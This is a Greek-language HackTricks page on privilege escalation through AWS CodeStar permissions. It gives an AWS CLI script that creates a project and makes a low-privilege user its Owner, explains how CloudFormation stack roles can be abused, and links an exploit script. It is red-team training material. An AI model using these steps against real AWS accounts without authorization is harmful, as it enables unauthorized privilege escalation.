AWS - Codestar Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Codestar

Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με το codestar στο:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Με αυτές τις άδειες μπορείτε να καταχραστείτε έναν ρόλο IAM του codestar για να εκτελέσετε τυχαίες ενέργειες μέσω ενός cloudformation template. Ελέγξτε την παρακάτω σελίδα:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Αυτή η τεχνική χρησιμοποιεί το codestar:CreateProject για να δημιουργήσει ένα έργο codestar, και το codestar:AssociateTeamMember για να κάνει έναν χρήστη IAM ιδιοκτήτη ενός νέου έργου CodeStar, το οποίο θα του παραχωρήσει μια νέα πολιτική με μερικές επιπλέον άδειες.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Αν είστε ήδη μέλος του έργου, μπορείτε να χρησιμοποιήσετε την άδεια codestar:UpdateTeamMember για να ενημερώσετε το ρόλο σας σε ιδιοκτήτη αντί για codestar:AssociateTeamMember.

Πιθανές Επιπτώσεις: Privesc στην πολιτική codestar που δημιουργήθηκε. Μπορείτε να βρείτε ένα παράδειγμα αυτής της πολιτικής στο:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Δημιουργία Νέου Έργου:
  • Χρησιμοποιήστε την ενέργεια codestar:CreateProjectFromTemplate για να ξεκινήσετε τη δημιουργία ενός νέου έργου.
  • Μετά την επιτυχή δημιουργία, η πρόσβαση παρέχεται αυτόματα για cloudformation:UpdateStack.
  • Αυτή η πρόσβαση στοχεύει συγκεκριμένα σε μια στοίβα που σχετίζεται με τον ρόλο IAM CodeStarWorker-<generic project name>-CloudFormation.
  1. Ενημέρωση της Στοίβας Στόχου:
  • Με τις παραχωρηθείσες άδειες CloudFormation, προχωρήστε στην ενημέρωση της καθορισμένης στοίβας.
  • Το όνομα της στοίβας θα συμμορφώνεται συνήθως με ένα από τα δύο πρότυπα:
  • awscodestar-<generic project name>-infrastructure
  • awscodestar-<generic project name>-lambda
  • Το ακριβές όνομα εξαρτάται από το επιλεγμένο πρότυπο (αναφορά στο παράδειγμα exploit script).
  1. Πρόσβαση και Άδειες:
  • Μετά την ενημέρωση, αποκτάτε τις δυνατότητες που έχουν ανατεθεί στον ρόλο IAM CloudFormation που συνδέεται με τη στοίβα.
  • Σημείωση: Αυτό δεν παρέχει εγγενώς πλήρη δικαιώματα διαχειριστή. Μπορεί να απαιτούνται επιπλέον κακώς ρυθμισμένοι πόροι εντός του περιβάλλοντος για να αυξήσετε περαιτέρω τα δικαιώματα.

Για περισσότερες πληροφορίες, ελέγξτε την αρχική έρευνα: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/.
Μπορείτε να βρείτε το exploit στο https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Πιθανές Επιπτώσεις: Privesc στον ρόλο IAM cloudformation.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks